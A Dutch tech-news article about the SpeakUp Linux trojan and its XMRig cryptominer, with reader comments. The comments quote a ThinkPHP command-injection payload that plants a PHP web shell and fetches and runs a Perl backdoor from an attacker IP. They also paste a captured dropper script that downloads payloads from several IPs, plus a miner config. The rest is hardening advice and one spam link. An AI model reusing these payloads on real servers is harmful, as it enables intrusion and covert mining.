Backdoortrojan richt zich op Linux-servers en verspreidt cryptominer

Een recent ontdekte backdoortrojan die de naam SpeakUp heeft gekregen treft Linux-servers en verspreidt de cryptominingmalware XMRig. De trojan kan elke payload bevatten en deze op getroffen machines uitvoeren.

SpeakUp is een nieuwe trojan die volgens Check Points recentste Global Threat Index nog niet wordt gedetecteerd door antivirussoftware. De malware wordt verspreid via een reeks exploits op basis van opdrachten van command & controlservers, waaronder 'opdrachtinjectie via http'; een veelgebruikte kwetsbaarheid.

De onderzoekers van Check Point noemen SpeakUp een serieuze bedreiging omdat Linux op grote schaal wordt gebruikt op zakelijke servers en anti-virusbedrijven de malware nog niet detecteren. In januari waren de vier meest aangetroffen malwarevarianten volgens het bedrijf cryptominers. Coinhive blijft met een impact op 12 procent van organisaties wereldwijd de belangrijkste malware, waarbij Check Point zich waarschijnlijk op detecties bij zijn klanten baseert.

De opensource-cpu-miningsoftware XMRig, die onder meer door SpeakUp wordt verspreid, stond opnieuw op de tweede plaats met een impact van acht procent, gevolgd door de Cryptoloot-miner met 6 procent.

Reacties (57)

Misschien handig om even te noemen, de initiële infectie lijkt te gebeuren door exploitatie van CVE-2018-20062. Waarna er verder gebruik wordt gemaakt van een lijstje CVE's om verder te propageren:

• CVE-2012-0874: JBoss Enterprise Application Platform Multiple Security Bypass Vulnerabilities
• CVE-2010-1871: JBoss Seam Framework remote code execution
• JBoss AS 3/4/5/6: Remote Command Execution (exploit)
• CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE
• CVE-2018-2894: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware.
• Hadoop YARN ResourceManager – Command Execution (exploit)
• CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability.

Deze link is misschien wel interessant, en geeft een wat dieper/technischer overzicht dan de bron in het artikel.

[Reactie gewijzigd door D_el_p op 15 februari 2019 14:31]

Hier ook meer algemene informatie over de kwetsbaarheid op Linux (PHP). Het lijkt voor al de gaan om besmettingen in Oost-Azië, India en Zuid-Amerika.

Het gaat om een kwetsbare PHP library:
"The initial infection vector is targeting the recently reported vulnerability in ThinkPHP and uses command injection techniques for uploading a PHP shell that serves and executes a Perl backdoor."

[Reactie gewijzigd door Ashaene op 15 februari 2019 14:36]

Hoe groot is deze aanval?
Ik lees:

Infection Vector
The initial infection vector is targeting the recently reported vulnerability in ThinkPHP and uses command injection techniques for uploading a PHP shell that serves and executes a Perl backdoor.

The exploitation is issued in three steps:

Exploiting CVE-2018-20062 for uploading a PHP shell

Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below:

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php


This shell executes commands sent via the “module” parameter in a query.

Serving the backdoor

Another HTTP request is sent to the targeted server, with the following resource:

/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc

The above standard injection pulls the ibus payload and stores it on /tmp/e3ac24a0bcddfacd010a6c10f4a814bc

Launching the backdoor

The execution is issued using an additional HTTP request:

/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc

That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence.

Als ik het zo lees gaat het dus om een aanval op ThinkPHP, waar ik nog nooit van had gehoord. Ik geloof dat dit een CMS is dat vooral populair is in China. Een snelle zoekopdracht suggereert dat er wereldwijd zo'n 40.000 installaties zijn. Geen kattepis, maar het is te overzien.

Dank je voor de uitleg!

De titel van het bericht zou dan ook moeten zijn: Exploit in ThinkPHP Framework maakt backdoor voor trojan

Het bericht is erg, ERG misleidend.

[Reactie gewijzigd door Nimja op 15 februari 2019 16:18]

cryptominingmalware XMRig

xmrig is een standaard mining applicatie voor CryptoNote gebaseerde crypto's. Het is geen malware op zich zelf. Wel wordt het in dit geval door de SpeakUp 'backdoortrojan' geïnstalleerd / gedraaid op systemen zonder dat de beheerder/eigenaar daar vanaf weet.

is er een security patch die deze gaten dicht en moet ik bepaalde applicaties draaien wil je NAS hier gevoelig voor zijn?

Zoals in de comments te lezen is is de titel nogal misleidend. Het gaat over een exploit via een php library waar ik nog nooit van gehoord had.

Ik denk dat je meer moet denken aan Internet-facing servers (webservers etc), die gehackt worden (slechte code, lekke software), en waar vervolgens processen op worden gestart die minen.

Hmmm, hoe zijn er checks bekend om infecties te herkennen op je linux servers?

Edit: load, uiteraard, dacht eerder aan dat het de trojan alleen verspreid, ipv deployen. Beetje te snel gelezen dus

[Reactie gewijzigd door slijkie op 15 februari 2019 23:10]

Naast de hogere load (immers, het is een miner) is best practice beheer geen slecht idee:

• Gebruik gezond verstand. Voer niet zomaar elke download uit, installeer geen vage applicaties waarvan je niet zeker weet of je die kunt vertrouwen.
• Audit je server regelmatig. Loop de logs na, maak gebruik van een auditting daemon zoals auditd.
• Marginaliseer de 'attack surface', schakel onnodige services en modules uit.
• Installeer regelmatig, bijvoorbeeld wekelijks updates.
• Pas ACLs toe - zeker in een omgeving waar meerdere gebruikers zijn.
• Gebruik een anti-malware oplossing. Hoeft niet realtime te zijn, als je het maar regelmatig doet. Bijvoorbeeld clamav, rkhunter.
• Draai een applicatie/script die je een second opinion geeft, zoals Lynis.
• En als je nog verder kunt en wilt gaan, lees je in op hardening. Zowel op OS niveau; grsecurity, CloudLinux (met LVE/CageFS/HardenedPHP), Atomic Secured Linux, etc - als op het hardening van de configuratie van systeem en userland applicaties.

En wees vooral niet bang om hulp te vragen. We hebben allemaal ergens moeten beginnen. Wees wel voorzichtig met wie je vertrouwd, het is aan te raden niet simpelweg commando's te copy-pasten en zelf de betrouwbaarheid na te gaan.

100% correct (voor zover ik kan inschatten)

Maar: om even een gekke analogie van stal te halen: ik heb een heftruckcertificaat, maar kan ik een ongelukje veroorzaken.

Conclusie: alle rtfm's/best practices ten spijt: serverbeheer is gewoon ontzettend complex, leuke guide die je post, maar 30% gaat het raam uit vanwege tijd/geldgebrek.

Prettig weekend (nog, indien van toepassing)!

Updates toepassen is van kritiek belang, maar van veel websites weet de eigenaar niet eens wat er in zit. Dat het bijvoorbeeld WordPress is weten mensen nog wel, maar dat er plugins in zitten en dat doe ook moeten worden geüpdatet is al minder bekend.

Ik blijf me verbazen over hoeveel websites er WordPress draaien terwijl er eigenlijk alleen statische content op staat. Met al die bewegende delen in websites heb je een gigantisch aanvalsoppervlak. Ik heb al meerdere WordPress sites omgebouwd naar Jekyll, en ze worden er vaak nog eens een stuk sneller van ook omdat Jekyll een goede pipeline voor image-, js en css compressie ondersteunt.

gezien het een miner is.. zal de CPU wel aan het stampen zijn

In het geval van zo'n miner is het al vaak voldoende om je cpu usage te monitoren. Als het continu 100% usage is moet je er naar kijken. Uiteraard verre van dekkend maar sowieso een goed idee om daarop te monitoren want kan symptoom zijn van allerlei nastiness zoals een bruteforce aanval.
Of als het gewoon heftige valide load is, moet er ook gewoon wat mee gebeuren.
Moet je overigens geen miner hebben die throttled, die zijn er nml ook.

[Reactie gewijzigd door jozuf op 15 februari 2019 14:29]

Een van mijn servers was ook getroffen, of dit dezelfde is weet ik niet... Was een hidden folder .rsync Stond in een home directory van deluge / eggdrop.. De cpu was inderdaad aan stampen op 100 procent. En ik had geen chinees framework of etc... alleen deluge en eggdrop!

Was al in januari.. Wie de source wilt hebben om te onderzoeken, dan kan dat, stuur me maar een pmtje

ps.. dit is de sukkel

{"pool_address" : "5.255.85.210:80", "wallet_address" : "481fnPjXvX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaYgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFquwuS", "rig_id" : "stak", "pool_password" : "x", "use_nicehash" : true, "use_tls" : false, "tls_fingerprint" : "", "pool_weight" : 5 },
],

Vind ook nog wat ip adressen, op alle drie de adressen draait de default pagina van apache, parallels en nginx..

if [ $s == 0 ]; then
sleep $[ ( $RANDOM % 50 ) + 5 ]s
wget -w 3 -T 10 -t 5 -q --no-check-certificate --limit-rate=20k 31.193.138.74/a/xtr || curl -O -f 31.193.138.74/a/xtr && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/a || curl -O -f $(cat<xtr)/a/a && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/b || curl -O -f $(cat<xtr)/a/b && rm -rf xtr
elif [ $s == 1 ]; then
sleep $[ ( $RANDOM % 50 ) + 5 ]s
wget -w 3 -T 10 -t 5 -q --no-check-certificate --limit-rate=20k 141.85.241.113/a/xtr || curl -O -f 141.85.241.113/a/xtr && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/a || curl -O -f $(cat<xtr)/a/a && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/b || curl -O -f $(cat<xtr)/a/b && rm -rf xtr
else
sleep $[ ( $RANDOM % 50 ) + 5 ]s
wget -w 3 -T 10 -t 5 -q --no-check-certificate --limit-rate=20k 46.101.217.200/a/xtr || curl -O -f 46.101.217.200/a/xtr && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/a || curl -O -f $(cat<xtr)/a/a && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/b || curl -O -f $(cat<xtr)/a/b && rm -rf xtr
fi

[Reactie gewijzigd door Atmos op 15 februari 2019 15:36]

Dat lijkt me dus een andere. Deze trojan richt zich specifiek op een Chinees PHP framework. Een rsync folder (met een punt ervoor is sowieso hidden, dus dat zeg je hier dubbelop) hoeft niet perse een kwaadaardig iets te zijn, ik gebruik zelf vaak ook rsync en dan heb je zo'n folder inderdaad.

dat begrijp ik lol maar de hacker heeft de exploit dus in de .rsync gezet. (juist een standaard folder zodat het niet op valt.)

Da's ook 'vervelend' voor een bedrijf met dezelfde naam...

https://www.speakup.nl/

Zo zie je maar weer dat het echt niet alleen Windows is die, volgens een hoop tweakers, zo lek is als een mandje (in werkelijkheid is dat dus al lang niet meer). Je moet je dus ook bij linux (en andere OSsen) niet zomaar veilig voelen.

Wat een onzin, laat goed zien dat je niet weet waar je het over hebt. Dit heeft niks te maken met GNU/Linux an sich maar enkel met applicaties die op GNU/Linux draaien.

Je moet gewoon je gezonde verstand gebruiken en je systemen up to date houden. In de 13 jaar dat ik werk me GNU/Linux servers heb ik nog nooit een gehackte server gehad (zowel prive servers als bij de bedrijven waar ik gewerkt heb).

Tuurlijk zitten er fouten en lekken in de Linux kernel, maar in 99,999% van de gevallen komt een hacker binnen door veelal lekke web applicaties of out of date software.

Hetzelfde geldt ook voor windows, dat is daar echt niet anders.

Deze lek heeft helemaal niets met Linux te maken, is gewoon een clickbait titel, waar Linux-critici van smullen.

Achja, dat is bij windowslekken ook meestal.

Jongens, ik weet het, je houdt van vulgaire meisjes
Hoe zit het met online-communicatie met hen zonder grenzen? Hier http://badoos.ga kun je geile echte meisjes uit verschillende landen vinden.

"... waaronder 'opdrachtinjectie via http'; een veelgebruikte kwetsbaarheid."

En welke debiel heeft zijn webserver als root draaien, dan!? Mijn eigen server had een Apache server draaien als 'nobody', en ook nog in een jail (FreeBSD).